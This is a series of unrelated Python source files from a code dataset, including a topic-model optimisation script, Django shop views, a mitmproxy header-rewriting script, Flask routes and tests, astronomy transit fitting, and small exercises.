for (doc_id, term) in doc_doc_term_dict[str(d)]:\n count = np.sum(doc_term_dict_R31[(doc_id, term)])\n Nd = Nd + np.sum(doc_term_dict_R31[(doc_id, term)])\n pks_d = pks_d + prob_dict[(doc_id, term)] * count\n return pks_d/Nd\n\n# this function may be completely unnecessary\ndef bar_phi_d_i(d, i, prob_dict, K, doc_doc_term_dict, doc_term_dict_R31):\n \"\"\"\n :param d: a string of a nonnegative integer standing for the document id\n :param prob_dict: should be a dictionary with\n (key,value) = (('doc_id', 'term'), np.array(K,)), e.g. doc_term_prob_dict\n :param i: an index that is in {0, 1, 2, ..., K-1}\n :returns: a floating number\n \"\"\"\n rv = bar_phi_d(d, prob_dict, K, doc_doc_term_dict, doc_term_dict_R31)\n return rv[i]\n\ndef kappa_d(d, prob_dict, eta, K, doc_doc_term_dict, doc_term_dict_R31):\n \"\"\"\n :param d: a string of a nonnegative integer standing for the document id\n :param prob_dict: should be a dictionary with\n (key,value) = (('doc_id', 'term'), np.array(K,)), e.g. doc_term_prob_dict\n :param eta: a K by K np.array of the eta, c-th column representd \\eta_c in the paper\n :returns: a floating number\n \"\"\"\n # compute Nd [this is repetitive work, but do not how to optimize it yet]\n Nd = 0\n terms_d = []\n for (doc_id, term) in doc_doc_term_dict[str(d)]:\n Nd = Nd + np.sum(doc_term_dict_R31[(doc_id, term)])\n terms_d += [term]\n # create a matrix of pks_(doc, term), each row as pks for a term\n pks_mat = np.zeros((len(terms_d), K))\n for idx in range(len(terms_d)):\n pks_mat[idx, :] = prob_dict[(str(d), terms_d[idx])]\n # generate exp(\\eta_c / N_d) as a matrix\n exp_eta_mat = np.exp(eta / Nd)\n # compute inner product between pks_(doc, term) and exp(\\eta_c / Nd) for fixed t and c\n tmp = np.zeros(K) # will store the summands of \\Sigma_{c=1}^C\n for c in range(K):\n tmpp = np.zeros(len(terms_d))\n for t in range(len(terms_d)):\n tmpp[t] = np.inner(pks_mat[t,:], exp_eta_mat[:,c])\n tmp[c] = np.prod(tmpp)\n return np.sum(tmp)\n\ndef log_lik_eta(eta, y, prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31):\n \"\"\"\n :param y: the true label(s), should be an np.array of shape (n,), and each element\n in y is an integer in {0, 1, ..., K-1}\n :param phi: should be an np.array of shape (n, K), e.g. phi_sample[:,:,MCMC_iters-1]\n :param eta: should be an np.array of shape (K, K), e.g. eta_init\n :param prob_dict: should be a dictionary with\n (key,value) = (('doc_id', 'term'), np.array(K,)), e.g. doc_term_prob_dict\n :returns: a dictionary with (key, value) = (topic, index), where topic is\n a nonnegative integer, and index is the corresponding entry for the topic in a row of phi\n \"\"\"\n # will call bar_phi_d() and kappa_d()\n eta = eta.reshape((K, K))\n tmp = 0\n sum_log_kappa_d = 0\n for d in range(D):\n # compute inner product of \\eta_{c_d} and \\bar{\\phi}_d\n d_true_label = int(y[d])\n tmp += np.inner(eta[:, d_true_label], bar_phi_d(d, prob_dict, K, doc_doc_term_dict, doc_term_dict_R31))\n sum_log_kappa_d += np.log(kappa_d(d, prob_dict, eta, K, doc_doc_term_dict, doc_term_dict_R31))\n rv = tmp - sum_log_kappa_d\n return rv\n\n\ndef log_lik_eta_grad_c_i(eta, y, c, i, prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31):\n \"\"\"\n :param y: the true label(s), should be an np.array of shape (n,)\n :param phi: should be an np.array of shape (n, K), e.g. phi_sample[:,:,MCMC_iters-1]\n :param eta: should be an np.array of shape (K, K), e.g. eta_init\n :parap c: c for c-th column in eta, an integer in {0, 1, 2, ..., K-1 (= C-1)}\n :param i: i for i-th entry in \\eta_c (\\eta_c is in R^C, C = K in this particular problem)\n :param prob_dict: should be a dictionary with\n (key,value) = (('doc_id', 'term'), np.array(K,)), e.g. doc_term_prob_dict\n :param D: number of documents in the corpora\n :returns: a dictionary with (key, value) = (topic, index), where topic is\n a nonnegative integer, and index is the corresponding entry for the topic in a row of phi\n \"\"\"\n ### this function can be further optimizied, as \\phi_{di} for some doc is computed more than once\n # compute the second sum over d = 1, ...., D\n # first find out all documents with true label c\n doc_label_c = np.linspace(0, len(y)-1, num = len(y))[y == c]\n doc_label_c = doc_label_c.astype(int)\n # compute \\bar{\\phi_{di}} for doc id in doc_label_c\n sum1 = 0\n for d in doc_label_c:\n sum1 += bar_phi_d_i(d, i, prob_dict, K, doc_doc_term_dict, doc_term_dict_R31)\n # compute the second sum over d = 1, ...., D\n sum2 = 0\n for d in range(D):\n Nd = 0 # compute Nd [this is repetitive work, but do not know how to optimize it yet]\n terms_d = [] # list of (unique) terms in doc d\n terms_d_freq = []\n for (doc_id, term) in doc_doc_term_dict[str(d)]:\n Nd = Nd + np.sum(doc_term_dict_R31[(doc_id, term)])\n terms_d += [term]\n # create a matrix of pks_(doc, term), each row as pks for a term\n pks_mat = np.zeros((len(terms_d), K))\n for idx in range(len(terms_d)):\n pks_mat[idx, :] = prob_dict[(str(d), terms_d[idx])]\n # generate exp(\\eta_c / N_d) as a matrix\n exp_eta_mat = np.exp(eta / Nd).reshape((K, K))\n kappa_d_summands = np.zeros(K) # will store the summands of \\Sigma_{c=1}^C in \\kappa_d\n factor2_tmp1 = np.zeros(len(terms_d)) # will be useful for factor2\n factor2_tmp2 = np.zeros(len(terms_d)) # will be useful for factor2\n for cc in range(K):\n tmpp = np.zeros(len(terms_d))\n tmpp2 = np.zeros(len(terms_d))\n for t in range(len(terms_d)):\n tmpp[t] = np.inner(pks_mat[t, :], exp_eta_mat[:, cc])\n tmpp2[t] = pow(tmpp[t], np.sum(doc_term_dict_R31[(str(d), terms_d[t])]))\n kappa_d_summands[cc] = np.prod(tmpp2)\n if cc == c: # for computation of factor2\n factor2_tmp2 = tmpp\n for t in range(len(terms_d)):\n factor2_tmp1[t] = pks_mat[t,c] * exp_eta_mat[i,c] / Nd\n # the first term to be multiplied in the second sum over d = 1, ..., D\n factor1 = kappa_d_summands[c] / np.sum(kappa_d_summands)\n # compute the second factor to be multiplied\n terms_d_freq = np.zeros(len(terms_d)) # this may be optimized as well\n for t in range(len(terms_d)):\n terms_d_freq[t] = np.sum(doc_term_dict_R31[(str(d), terms_d[t])])\n factor2 = np.inner(factor2_tmp1 / factor2_tmp2, terms_d_freq)\n sum2 += factor1 * factor2\n # for monitoring progress\n print('{0: 3.6f} {1: 3.6f} {2: 3.6f} {3: 3.6f} {4: 3.6f}'.format(\n eta[0], eta[1], eta[2], eta[3], sum1-sum2))\n #return sum1 - sum2\n return sum2 - sum1\n\n\n# a wrapper that returns the whole gradient (instead of a partial derivative)\ndef log_lik_eta_grad(eta, y, prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31):\n grad_arr = np.zeros((K, K))\n for c in range(K):\n for i in range(K):\n grad_arr[i, c] = log_lik_eta_grad_c_i(eta, y, c, i, prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31)\n return grad_arr.flatten()\n\n\n# random initialization of eta\neta_init = np.reshape(np.random.uniform(-1, 1, K * K), (K, K)).flatten()\n\n# debugging 1 (done)\n#log_lik_eta_grad_c_i(eta_init, y, 0, 0, doc_term_prob_dict, D, K,\n# doc_doc_term_dict, doc_term_dict_R31)\n\n# debugging 2 (done)\n#log_lik_eta(eta_init, y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31)\n\n\n# options of fmin_cg\nopts = {'maxiter': None, # default value.\n 'disp': True, # non-default value.\n 'gtol': 1e-5, # default value.\n 'norm': np.inf, # default value.\n 'eps': 1.4901161193847656e-08} # default value.\n#res2 = optimize.minimize(prototype_fns.log_lik_eta, eta_init, jac=prototype_fns.log_lik_eta_grad,\n# args=(y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31), method='CG',\n# options=opts)\n\n# now optimization terminated successfully, but log likelihood evaluates to -Inf\n#res2 = optimize.minimize(log_lik_eta, eta_init, jac=log_lik_eta_grad,\n# args=(y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31), method='CG',\n# options=opts)\n#np.save('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/eta_final.npy', res2.x)\n\n# final eta\n#eta_final = res2.x.reshape((K, K))\n#eta_final = np.load('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/eta_final.npy').reshape((K, K))\n#l = log_lik_eta(eta_final, y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31)\n\n# debugging 3: negative infinity of log likelihood\n# turns out should change the sign of the log_lik_eta function\nimport math\ntmp = 0\nsum_log_kappa_d = 0\nneg_inf_idx = [] # length 780 out of 2542\nfor d in range(D):\n # compute inner product of \\eta_{c_d} and \\bar{\\phi}_d\n t = np.log(kappa_d(d, doc_term_prob_dict, eta_final, K, doc_doc_term_dict, doc_term_dict_R31))\n if (t == math.inf):\n print(d)\n neg_inf_idx += [t]\n\n# consider doc 2540\nd_inf = 2540\nkappa_d(d_inf, doc_term_prob_dict, eta_final, K, doc_doc_term_dict, doc_term_dict_R31)\n# so it is indeed due to the magnitude of the eta matrix and the topic probability\n# for each term in this document (all terms belonging to topic 1 with almost 0.9999 probility)\n\n# now rerun the code and track the value of log likelihood and eta using a callback function\nres3 = optimize.minimize(log_lik_eta, eta_init, jac=log_lik_eta_grad,\n args=(y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31), method='CG',\n options=opts)\nnp.save('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/eta_final_3.npy', res3.x)\n\n\n# now optimization terminated successfully, but log likelihood evaluates to -Inf\n# changed the sign of the log_lik_eta function\n# res4: Desired error not necessarily achieved due to precision loss.\neta_opt_start = timeit.default_timer()\nres4 = optimize.minimize(log_lik_eta, eta_init, jac=log_lik_eta_grad,\n args=(y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31), method='CG',\n options=opts)\neta_opt_stop = timeit.default_timer()\nprint('Time of eta optimization using conjugate gradient: ', eta_opt_stop - eta_opt_start)\n# 607.7549470260001 seconds\n\neta_final_4 = res4.x.reshape((K,K))\nnp.save('/Files/documents/ncsu/fa18/ST740/ST740-FA18-Final/2nd-attempt/2topic_obj/eta_final_4_2.npy', res4.x)\n\nl4 = log_lik_eta(res4.x, y, doc_term_prob_dict, D, K, doc_doc_term_dict, doc_term_dict_R31)\n\n# now check prediction accuracy, see eqn 13 of Fei-Fei Li paper for prediction rule\n# TODO: understand whether the first argmax in eqn 13 has some theorectical guarantee\n# actually, do not understand this first argmax from a theorectical perspective yet\n\nbar_phi_0 = bar_phi_d(0, doc_term_prob_dict, K, doc_doc_term_dict, doc_term_dict_R31)\n\nnp.inner(bar_phi_0, eta_final_4[:,0]) # 0.6859405034914349\nnp.inner(bar_phi_0, eta_final_4[:,1]) # -0.2540980505477633\ny[0] # works for doc 0\n\n# there should not be negative term in eta?\n\n# works for doc 1\nbar_phi_1 = bar_phi_d(1, doc_term_prob_dict, K, doc_doc_term_dict, doc_term_dict_R31)\nnp.inner(bar_phi_1, eta_final_4[:,0]) # 0.6859405034914349\nnp.inner(bar_phi_1, eta_final_4[:,1]) # -0.2540980505477633\ny[1]\n\n\n# see prediction using the trained eta_final\neta_4_pred = np.zeros(D)\neta_4_prod = np.zeros((D, K))\nbar_phi = np.zeros((D,K))\nfor idx in range(D):\n bar_phi[idx,:] = bar_phi_d(int(idx), doc_term_prob_dict, K, doc_doc_term_dict, doc_term_dict_R31)\n eta_4_prod[idx,:] = np.matmul(bar_phi[idx], eta_final_4)\n eta_4_pred[idx] = np.argmax(eta_4_prod[idx,:])\n\nnp.mean(eta_4_pred == y) # 0.9287962234461055 overall prediction accuracy\n# 0.7844217151848938 prediction accuracy on second attempt - much worse this time\n\n# TODO: compute prediction accuracy for each class and compare results with the unsupervised method\n\n\n# TODO: rerun the code on a training set and check its performance on the test set\n\n\n","sub_path":"2nd-attempt/fmin_cg_debugging.py","file_name":"fmin_cg_debugging.py","file_ext":"py","file_size_in_byte":15019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"495430052","text":"from django.http import HttpResponse\nfrom django.http import JsonResponse\nimport json\nfrom django.shortcuts import render, redirect\nfrom .forms import NewUserForm,Form, ProfileForm\nfrom django.contrib.auth import login,logout\nfrom django.contrib import messages\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom .models import *\n\n\ndef homepage(request):\n return render(request,'main/homepage.html')\n\n\n#@login_required\n#@transaction.atomic\ndef customer_register_request(request):\n if request.method == 'POST':\n user_form = NewUserForm(request.POST)\n if user_form.is_valid():\n user = user_form.save()\n user.profile.user_type = '1'\n user.profile.save()\n messages.success(request, 'Your profile was successfully updated!')\n return redirect('login')\n else:\n messages.error(request, 'Please correct the error below.')\n else:\n user_form = NewUserForm()\n\n return render(request, 'main/register.html', {\n 'user_form': user_form,\n 'user_type': 1\n })\n\n\ndef seller_register_request(request):\n if request.method == 'POST':\n user_form = NewUserForm(request.POST)\n if user_form.is_valid():\n user = user_form.save()\n user.profile.user_type = '2'\n print(user.profile.user_type)\n user.profile.save()\n messages.success(request, 'Your profile was successfully updated!')\n return redirect('login')\n else:\n messages.error(request, 'Please correct the error below.')\n else:\n user_form = NewUserForm()\n\n return render(request, 'main/register.html', {\n 'user_form': user_form,\n 'user_type': 2\n })\n\n\n\n\ndef login_request(request):\n\tif request.method == \"POST\":\n\t\tform = AuthenticationForm(request, data=request.POST)\n\t\tif form.is_valid():\n\t\t\tusername = form.cleaned_data.get('username')\n\t\t\tpassword = form.cleaned_data.get('password')\n\t\t\tuser = authenticate(username=username, password=password)\n\t\t\tif user is not None:\n\t\t\t\tlogin(request, user)\n\t\t\t\tmessages.info(request, f\"You are now logged in as {username}.\")\n\t\t\t\treturn redirect(\"homepage\")\n\t\t\telse:\n\t\t\t\tmessages.error(request,\"Invalid username or password.\")\n\t\telse:\n\t\t\tmessages.error(request,\"Invalid username or password.\")\n\tform = AuthenticationForm()\n\treturn render(request=request, template_name=\"main/login.html\", context={\"login_form\":form})\n\n\n\ndef logout_request(request):\n logout(request)\n messages.info(request, \"You have successfully logged out.\")\n return redirect(\"homepage\")\n\n\n\n\ndef add_product(request):\n if request.method == 'POST':\n form = Form(request.POST or None, request.FILES or None)\n if form.is_valid():\n form.instance.seller = request.user\n form.save()\n return redirect(\"homepage\")\n\n else:\n form = Form()\n context = {\n 'form':form,\n }\n return render(request, 'main/add_product.html', context={\"addproduct_form\":form})\n\n\ndef products(request,pk):\n products = Product.objects.filter(category=pk)\n context = {'products':products}\n return render(request,'main/products.html',context)\n\n\ndef detail(request,pk):\n products = Product.objects.filter(id=pk)\n context = {'products':products}\n return render(request,'main/details.html',context)\n\n\n\n\ndef cart(request):\n\n\tif request.user.is_authenticated:\n\t\tcustomer = request.user\n\t\torder, created = Order.objects.get_or_create(customer=customer, complete=False)\n\t\titems = order.orderitem_set.all()\n\telse:\n\t\t#Create empty cart for now for non-logged in user\n\t\titems = []\n\t\torder = {'get_cart_total':0, 'get_cart_items':0}\n\n\tcontext = {'items':items, 'order':order}\n\treturn render(request, 'main/cart.html', context)\n\ndef checkout(request):\n\tif request.user.is_authenticated:\n\t\tcustomer = request.user\n\t\torder, created = Order.objects.get_or_create(customer=customer, complete=False)\n\t\titems = order.orderitem_set.all()\n\telse:\n\t\t#Create empty cart for now for non-logged in user\n\t\titems = []\n\t\torder = {'get_cart_total':0, 'get_cart_items':0}\n\n\tcontext = {'items':items, 'order':order}\n\treturn render(request, 'main/checkout.html', context)\n\ndef updateItem(request):\n\tdata = json.loads(request.body)\n\tproductId = data['productId']\n\taction = data['action']\n\tprint('Action:', action)\n\tprint('Product:', productId)\n\n\tcustomer = request.user\n\tproduct = Product.objects.get(id=productId)\n\torder, created = Order.objects.get_or_create(customer=customer, complete=False)\n\n\torderItem, created = OrderItem.objects.get_or_create(order=order, product=product)\n\n\tif action == 'add':\n\t\torderItem.quantity = (orderItem.quantity + 1)\n\telif action == 'remove':\n\t\torderItem.quantity = (orderItem.quantity - 1)\n\n\torderItem.save()\n\n\tif orderItem.quantity <= 0:\n\t\torderItem.delete()\n\n\treturn JsonResponse('Item was added', safe=False)\n\n\ndef processOrder(request):\n\tprint('Data:',request.body)\n\treturn JsonResponse('Payment complete', safe=False)\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"196861047","text":"import sys, traceback\nsys.path.append(\".\")\n\nfrom hashlib import sha1\nfrom bs4 import BeautifulSoup\nfrom bs4 import UnicodeDammit\nfrom libmproxy.protocol.http import decoded\nfrom csp_applier import html, template\nfrom dom_analyzer import DOMAnalyzer\n\ndef start(context, argv):\n\n #context.http_path, context.file_path = argv[1], argv[2]\n context.f = open('./logs/log','w',0)\n\ndef response(context, flow):\n try:\n url = flow.request.url\n context.f.write('receive response: %s\\n'%flow.request.url)\n with decoded(flow.response): # Automatically decode gzipped responses.\n if (not \"Content-Type\" in flow.response.headers) or \\\n len(flow.response.headers) == 0:\n return\n tp = flow.response.headers[\"Content-Type\"][0].lower()\n #context.f.write(' type:%s\\n' %tp)\n if \"text/html\" in tp:\n flow.response.headers['Content-Security-Policy'] = \\\n [\"default-src 'self' 'unsafe-inline' *; style-src 'self' 'unsafe-eval' 'unsafe-inline' *\"]\n flow.response.headers['Cache-Control'] = [\"no-cache\"]\n #context.f.write(' rewrite response %s %s\\n' % (flow.request.url, \\\n # str(flow.response.headers) ) )\n #try:\n # soup = BeautifulSoup( flow.response.content, \"html5lib\")\n #except Exception as e:\n # soup = BeautifulSoup( flow.response.content, 'lxml')\n #analyzer = DOMAnalyzer(soup, \\\n # 'https://localhost:4433/allowed-resources/', \\\n # './js_repository/', flow.request.url)\n #analyzer.process()\n #client_lib_node = soup.new_tag(\"script\", src=\"https://localhost:4433/libs/client_lib.js\")\n #analyzer.soup.head.insert(1, client_lib_node)\n #try:\n # context.f.write(' OLD response %s:\\n' % soup.prettify().encode('ascii', 'ignore'))\n #except Exception as e:\n # context.f.write(' display response error %s\\n' %(str(e)) )\n #context.f.write(\" debug before analyzing\\n\")\n #context.f.write(\" debug after analyzing %d\\n\" %(len(html_parser)) )\n\n #context.f.write(\" need write %d inlines \\n\" %(len(analyzer.inlines)) )\n #new_content = UnicodeDammit(analyzer.soup.prettify())\n #flow.response.content = new_content.unicode_markup\n #try:\n # flow.response.content = analyzer.soup.prettify().encode('utf-8')\n # context.f.write('newcontent:%s\\n' %flow.response.content)\n #except Exception as e:\n # context.f.write(\" encoding exception: %s\\n\" %(str(e)))\n #context.f.write(\" new HTML:\\n %s \\n\" %(flow.response.content) )\n else:\n pass\n #context.f.write('NOT rewriting %s %s response\\n' % (flow.request.url,\\\n # flow.response.headers[\"Content-Type\"]) )\n context.f.write('\\n')\n \n except Exception as e:\n context.f.write('exception at %s for error: %s\\n' %(url, str(e)))\n traceback.print_exc(file=context.f)\n\n\n\ndef fetch_template(url):\n db = mongo_driver.MongoDriver()\n template_string = db.query(sha1(url).hexdigest())\n if template_string:\n return template.Template(template_string)\n else:\n return None\n","sub_path":"CSP-Applier/intercept.py","file_name":"intercept.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"509779113","text":"from flask.testing import FlaskClient\n\n\ndef test_all_users(app_client: FlaskClient):\n response = app_client.get(\"/users\")\n assert response.status_code == 200\n\n\ndef test_get_one_user(app_client: FlaskClient, test_token):\n headers = {\n **test_token,\n }\n response = app_client.get(\"/users/self\", headers=headers)\n assert response.status_code == 200\n","sub_path":"tests/tests_views/tests_user_view/test_all_users.py","file_name":"test_all_users.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146762871","text":"from app import app\n\nfrom flask import render_template\nfrom flask import Response\n\nimport pytz\nfrom datetime import *\nfrom dateutil.relativedelta import *\nfrom dateutil.parser import *\n\nimport requests\nimport os\n\n@app.route('/')\n@app.route('/index.html')\ndef index():\n '''\n Returns a static webpage for now.\n '''\n return render_template('index.html')\n\n@app.route('/map.html')\ndef map():\n return render_template('map.html')\n\n\n@app.route('/query/')\ndef request():\n # These are the desired columns:\n # ['Unique Key', 'Latitude', 'Longitude', 'Created Date', 'Agency', 'Agency Name', 'Complaint Type', 'Descriptor']\n columns = \"unique_key,latitude,longitude,created_date,agency,agency_name,complaint_type,descriptor\"\n\n # Get recent service requests\n eastern_tz = pytz.timezone('US/Eastern') # Generate time zone from string.\n today = datetime.now() # Generate datetime object right now.\n today = today.astimezone(eastern_tz) # Convert today to new datetime\n time_delta = today - relativedelta(days=3)\n # Convert datetimes into Floating Timestamps for use with Socrata.\n today = today.strftime('%Y-%m-%d') + 'T00:00:00'\n time_delta = time_delta.strftime('%Y-%m-%d') + 'T00:00:00'\n\n '''\n GET request on Socrata's API.\n First part is the data set we're using.\n $limit is set to the maximum number of records we want.\n $select will select the columns we want, as defined earlier.\n $where allows us to choose the time frame. In this case it's 6 weeks.\n '''\n r = requests.get(\n \"https://data.cityofnewyork.us/resource/fhrw-4uyv.json?\" +\n \"$limit=500000&$select={}&\".format(columns) +\n \"$where=created_date between \\'{}\\' and \\'{}\\' and longitude IS NOT NULL\".format(time_delta, today)\n )\n\n # Create the response\n response = Response(response=r, status=200, mimetype='application/json')\n return response\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"218866759","text":"import random\n\nwhile True:\n print(\"1.Roll a die\")\n print(\"0. to stop\")\n ch = int(input(\"Enter the option \"))\n if ch == 1:\n print(random.randrange(1, 6))\n if ch == 0:\n break\n else:\n print(\"Invalid option\")\n","sub_path":"exp6.py","file_name":"exp6.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"40021408","text":"#!/usr/bin/env python\n\n\ndef d(den):\n num = 1\n remainders = []\n while True:\n r = num % den\n if not r:\n break\n\n if r in remainders:\n return len(remainders) - remainders.index(r)\n remainders.append(r)\n\n num = r * 10\n\n return None\n\nmaxlen = 0\nmaxperiodnumber = None\nfor a in range(1, 1000):\n p = d(a)\n if not p:\n continue\n\n if maxlen < p:\n maxlen = p\n maxperiodnumber = a\n\nprint(maxperiodnumber)\n","sub_path":"26.py","file_name":"26.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"254807280","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 02 10:09:01 2015\n\n@author: jmint_000\n\"\"\"\n\n# Import necessary modules & packages:\nfrom pylab import *\nfrom scipy import optimize\nimport emcee\nimport transit\nimport phasecurves as pc\nimport time_series\n\n##################################################\n## Initialize and Set Up:\n##################################################\n\n# Define known, fixed planetary \ni = 82.8 # orbital inclination\n#ar = 0.0156/0.004384 # a / R*\nar=0.004384/0.0156 #r*/a!!\nper = 0.7365437 # period, in days\nk = 0.0198 # Rp / R*\nt_e = 56961.08 # Time of Eclipse Center, in days\nb = np.cos(i*np.pi/180.) * ar # impact parameter\nf0=1.0\nu1=0.657\nu2=0.115\np_0=1.0\np_1=-6.14*10**-9.\np_2=0.0\n\n#noiselevel = 0.003\n#lightcurve = model_eclipse + np.random.normal(0, noiselevel, 1000)\n#weights = np.ones(1000)/noiselevel**2\n\n#Make the light curve for 55cnc e\n(times,waves,light,good,divided)=time_series.time_series_55cnc(['oco513010_raw_cleaned_31x1d.fits','oco513020_raw_cleaned_31x1d.fits','oco513030_raw_cleaned_31x1d.fits','oco513040_raw_cleaned_31x1d.fits'])\nweights=np.ones([len(times[28:])])\n\n#Choose a wavelength bin to do\nlight_curve=divided[:,4]\n\n##################################################\n## Fitting and Error Analysis:\n##################################################\n\n# Set up data structures for fitting:\n\nguess_params=[t_e,per,i,ar,k,p_0,u1,u2]\nguess_labels=['T_e','per','i','ar','k','p_0','u1','u2']\nguess_priors=[None, None, None, None, None, None, None, None,]\nfitkw = dict(NP=1)\n#fitargs = (transit.modeltransit, transit.occultquad, per, times[28:], light_curve, weights, fitkw)\nfitargs=(transit.modeltransit_general,times[28:],2,light_curve,scaled_weights,fitkw)\n\n# Fit the data, and construct a best-fit model:\n#fit = optimize.fmin(pc.errfunc, guess_params, args=fitargs, full_output=1)\nfit = optimize.fmin(pc.errfunc, guess_params, args=fitargs, full_output=1)\n#Extract model values\n#guess_model = fitargs[0](np.asarray(guess_params), *fitargs[1:-3])\nguess_model = transit.modeltransit_general(guess_params,np.asarray(times[28:]),2,NP=1)\n\n#fit_model = fitargs[0](fit[0], *fitargs[1:-3])\n#fit_model=transit.modeltransit(fit[0],transit.occultquad,per,np.asarray(times[28:]))\nfit_model = transit.modeltransit_general(fit[0],np.asarray(times[28:]),2,NP=1)\n\npc.errfunc(guess_params,fitargs)\npc.errfunc(fit[0],fitargs)\n\nplot(times[28:],light_curve,'o')\nplot(times[28:],guess_model)\nplot(times[28:],fit_model)","sub_path":"transit_fitting_constant_baseline.py","file_name":"transit_fitting_constant_baseline.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"186641367","text":"import glob\nimport os\nimport cv2\nimport sys\n\ninterval = 1500 # 1.5 sec\n\nbase_path = '/Users/jwoh/opencvEx/'\nimg_path = os.path.join(base_path,'opencv_python_ch01_ch05/ch01/images/*.jpg')\nimg_files = glob.glob(img_path)\nprint(img_files)\nprint(len(img_files))\n\nif not img_files:\n print(\"There is no img files\")\n sys.exit()\n\n# 이미지를 출력할 창을 생성\ncv2.namedWindow('image',cv2.WINDOW_NORMAL)\n# 이미지를 출력할 창의 크기를 화면 최대로 설정\ncv2.setWindowProperty('image', cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)\n\nidx = 0\n\nwhile True:\n img = cv2.imread(img_files[idx])\n\n # 이미지를 읽지 못했다면\n if img is None:\n print('Image load failed')\n break\n\n cv2.imshow('image',img)\n\n # ESC 입력이 들어올 때까지 슬라이드쇼 진행\n if cv2.waitKey(interval)==27:\n break\n\n idx += 1\n if idx >= len(img_files):\n idx = 0\n\n cv2.destroyAllWindows()","sub_path":"opencv_python_ch01_ch05/test/SlideShow.py","file_name":"SlideShow.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"632017651","text":"from __init__ import *\nimport subprocess,sys,os,time\n\nfrom param_combinator import *\nfrom config import *\nfrom template_render import *\n\nGRAPH_FLOW_APP=\"set in read input\"\nSUMMARY_FLOW_APP=\"set in read input\"\nOUTPUT_FOLDER=\"set in read input\"\n\ndef resolve_output_folder(c):\n output_folder=OUTPUT_FOLDER\n for e in c:\n output_folder += \"/\" + e['path']\n\n return output_folder\n\ndef exhaustive_gc_flow(c):\n\n outputFolder = resolve_output_folder(c)\n shape,radius,opt_band,neigh_size,length_pen,gs = c\n\n s=\" \".join( [\"%s%s\" % (\"-S\",shape['value']),\n \"%s%d\" % (\"-i\",ITERATIONS),\n \"%s%d\" % (\"-r\",radius['value']),\n \"%s%f\" % (\"-h\", gs['value']),\n \"%s%f\" % (\"-a\",length_pen['value']),\n \"%s%f\" % (\"-O\",opt_band['value']),\n \"%s%d\" % (\"-n\", NUM_THREADS),\n \"%s%s\" % (\"-N\",neigh_size['value']),\n \"%s\" % (\"-s\",)\n\n ])\n\n print(\"\\n*****Running: \", s,\"\\n\")\n\n binary = GRAPH_FLOW_APP\n subprocess.call( [binary,\n \"%s%s\" % (\"-S\",shape['value']),\n \"%s%d\" % (\"-i\",ITERATIONS),\n \"%s%d\" % (\"-r\",radius['value']),\n \"%s%f\" % (\"-h\", gs['value']),\n \"%s%f\" % (\"-a\",length_pen['value']),\n \"%s%f\" % (\"-O\",opt_band['value']),\n \"%s%d\" % (\"-n\", NUM_THREADS),\n \"%s%s\" % (\"-N\",neigh_size['value']),\n \"%s\" % (\"-s\",),\n outputFolder\n ] )\n\ndef summary_flow(c):\n binary = SUMMARY_FLOW_APP\n flow_images_folder_path=resolve_output_folder(c)\n\n shape,radius,opt_band,neigh_size,length_pen,gs = c\n\n opt_radius = 1.0/(length_pen['value']**0.5)\n\n jump=10\n subprocess.call( [binary,\n flow_images_folder_path,\n \"%s/summary.svg\" % (flow_images_folder_path,),\n \"%s%d\" % (\"-j\",jump),\n \"%s%s\" % (\"-c\",\"classic\"),\n \"%s%f\" % (\"-r\",opt_radius),\n \"%s%f\" % (\"-h\",gs['value']),\n \"%s%s\" % (\"-e\",\".png\")])\n\n subprocess.call( [binary,\n flow_images_folder_path,\n \"%s/summary.eps\" % (flow_images_folder_path,),\n \"%s%d\" % (\"-j\",jump),\n \"%s%s\" % (\"-c\",\"classic\"),\n \"%s%f\" % (\"-r\",opt_radius),\n \"%s%f\" % (\"-h\",gs['value']),\n \"%s%s\" % (\"-e\",\".png\")])\n\n\ndef read_input():\n if len(sys.argv)<3:\n print(\"Parameters missing! GRAPH_FLOW_APP, SUMMARY_FLOW_APP, OUTPUT_FOLDER\")\n exit(1)\n\n global GRAPH_FLOW_APP, SUMMARY_FLOW_APP, OUTPUT_FOLDER\n\n GRAPH_FLOW_APP=sys.argv[1]\n SUMMARY_FLOW_APP=sys.argv[2]\n 